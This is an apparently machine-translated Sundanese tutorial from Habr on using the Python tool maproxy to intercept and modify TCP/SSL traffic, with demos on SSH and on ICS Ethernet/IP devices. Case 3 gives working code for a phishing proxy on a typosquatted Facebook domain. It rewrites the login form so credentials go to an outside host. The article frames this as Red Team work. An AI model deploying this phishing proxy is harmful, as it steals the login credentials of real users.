Tarjamahan tina artikel ieu disiapkeun dina wengi mimiti kursus
anotasi
Rupa-rupa jinis penilaian kaamanan, mimitian ti tés penetrasi biasa sareng operasi Tim Beureum pikeun hacking alat IoT / ICS sareng SCADA, ngalibatkeun gawé bareng protokol jaringan binér, nyaéta, dina dasarna nyegat sareng ngarobih data jaringan antara klien sareng target. Sniffing lalu lintas jaringan sanes tugas anu sesah sabab urang gaduh alat sapertos Wireshark, Tcpdump atanapi Scapy, tapi modifikasi sigana janten tugas anu langkung padat karya sabab urang kedah gaduh sababaraha jinis antarmuka pikeun maca data jaringan, nyaring, ngarobih. eta dina laleur jeung ngirimkeunana deui ka host target dina ampir real waktu. Salaku tambahan, éta idéal upami alat sapertos kitu otomatis tiasa dianggo sareng sababaraha sambungan paralel sareng tiasa disaluyukeun nganggo skrip.
Hiji poé kuring manggihan hiji alat disebut
, dokuméntasi gancang ngajelaskeun ka kuring éta maproxy
- ngan naon Abdi peryogi. Ieu mangrupikeun proxy TCP anu saderhana, serbaguna sareng gampang dikonfigurasi. Kuring nguji alat ieu dina sababaraha aplikasi anu cukup rumit, kalebet alat ICS (anu ngahasilkeun seueur pakét) pikeun ningali naha éta tiasa nanganan seueur sambungan paralel, sareng alatna dilaksanakeun saé.
Artikel ieu bakal ngawanohkeun anjeun ngolah data jaringan dina laleur ngagunakeun maproxy
.
gambaran
Instrumén maproxy
dumasar kana Tornado, kerangka jaringan Asynchronous populér tur dewasa di Python.
Sacara umum, éta tiasa beroperasi dina sababaraha modeu:
TCP:TCP
- sambungan TCP anu teu énkripsi;TCP:SSL
иSSL:TCP
- kalawan énkripsi hiji arah;SSL:SSL
- énkripsi dua arah.
Datang salaku perpustakaan. Pikeun ngamimitian gancang, anjeun tiasa nganggo conto file anu ngagambarkeun utama
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Kasus 1 - proxy bidirectional basajan
Dumasarkeun kana tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
sacara standar ProxyServer()
nyokot dua argumen - lokasi sambungan jeung port target. server.listen()
nyokot hiji argumen - port pikeun ngadengekeun sambungan asup.
Ngalaksanakeun naskah:
# python tcp2tcp.py
Dina raraga ngajalankeun tés, urang nuju bade nyambung ka server SSH lokal ngaliwatan skrip proxy urang, nu listens on 2222/tcp
port tur nyambung ka port baku 22/tcp
Server SSH:
Spanduk wilujeng sumping nginpokeun ka anjeun yén conto naskah kami parantos suksés nga-proksi lalu lintas jaringan.
Kasus 2 - modifikasi data
naskah demo sejen logging_proxy.py
idéal pikeun interacting jeung data jaringan. Koméntar dina file ngajelaskeun metode kelas anu anjeun tiasa modifikasi pikeun ngahontal tujuan anjeun:
Hal anu paling pikaresepeun nyaéta di dieu:
on_c2p_done_read
- pikeun intercept data sapanjang jalan ti klien ka server;on_p2s_done_read
- tibalik.
Hayu urang coba ngarobah spanduk SSH yén server mulih deui ka klien:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Laksanakeun naskah:
Sakumaha anjeun tiasa tingali, klien ieu misled sabab ngaran server SSH pikeun anjeunna dirobah jadi «DumnySSH»
.
Kasus 3 - halaman wéb phishing basajan
Aya cara sajajalan pikeun ngagunakeun alat ieu. Waktos ieu hayu urang difokuskeun hal anu langkung praktis ti sisi operasi Red Team. Hayu urang niru halaman badarat m.facebook.com
sareng nganggo domain khusus kalayan salah ketik anu disengaja, contona, m.facebok.com
. Pikeun tujuan démo, hayu urang anggap yén domain kadaptar ku urang.
Kami badé ngadamel sambungan jaringan anu teu énkripsi sareng proxy korban urang sareng Stream SSL ka server Facebook (31.13.81.36
). Pikeun ngajantenkeun conto ieu, urang kedah ngagentos lulugu host HTTP sareng nyuntik hostname anu leres, sareng urang ogé bakal nganonaktipkeun komprési réspon supados urang tiasa ngaksés eusina. Pamustunganana kami bakal ngagentos formulir HTML supados kredensial login dikirimkeun ka kami tibatan server Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/su/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Kasimpulanna:
Sakumaha anjeun tiasa tingali, kami parantos suksés ngagentos situs asli.
Kasus 4 - Porting Ethernet / IP
Kuring geus nungkulan alat industri jeung software (ICS / SCADA) keur rada lila, kayaning controller programmable (PLC), I / O modul, drive, relays, lingkungan programming tangga jeung loba deui. Kasus ieu kanggo anu resep kana hal-hal industri. Hacking solusi sapertos ngalibatkeun aktip maén kalawan protokol jaringan. Dina conto di handap ieu, kuring hoyong nunjukkeun kumaha anjeun tiasa ngarobih lalu lintas jaringan ICS / SCADA.
Pikeun ieu anjeun bakal peryogi di handap:
- Network sniffer, contona, Wireshark;
- Ethernet / IP atanapi ngan alat SIP, anjeun tiasa mendakanana nganggo jasa Shodan;
- naskah urang dumasar kana
maproxy
.
Mimiti, hayu urang tingali kumaha réspon idéntifikasi has tina CIP (Common Industrial Protocol) sapertos kieu:
Idéntifikasi alat dilaksanakeun nganggo protokol Ethernet / IP, anu mangrupikeun vérsi ditingkatkeun tina protokol Ethernet industri anu ngabungkus protokol kontrol sapertos CIP. Kami badé ngarobih nami ID anu disorot anu katingali dina layar "NI-IndComm pikeun Ethernet" ngagunakeun skrip proxy urang. Urang tiasa nganggo deui naskah logging_proxy.py
sareng sami ngarobih metode kelas on_p2s_done_read
, sabab urang hayang ngaran identitas béda bisa ditingali dina klien nu.
Kode:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Intina, urang naroskeun idéntifikasi alat dua kali, réspon anu kadua nyaéta anu asli, sareng anu munggaran dirobih dina laleur.
Sareng anu terakhir
Dina pamanggih kuring maproxy
Alat anu gampang sareng sederhana, anu ogé diserat dina Python, janten kuring yakin yén anjeun ogé tiasa nyandak kauntungan tina ngagunakeunana. Tangtu, aya parabot leuwih kompleks pikeun ngolah jeung ngaropéa data jaringan, tapi maranéhna ogé merlukeun leuwih perhatian sarta biasana dijieun pikeun kasus pamakéan husus, f.eks. maproxy
anjeun tiasa gancang nerapkeun ideu anjeun pikeun nyegat data jaringan, sabab conto naskahna jelas pisan.
sumber: www.habr.com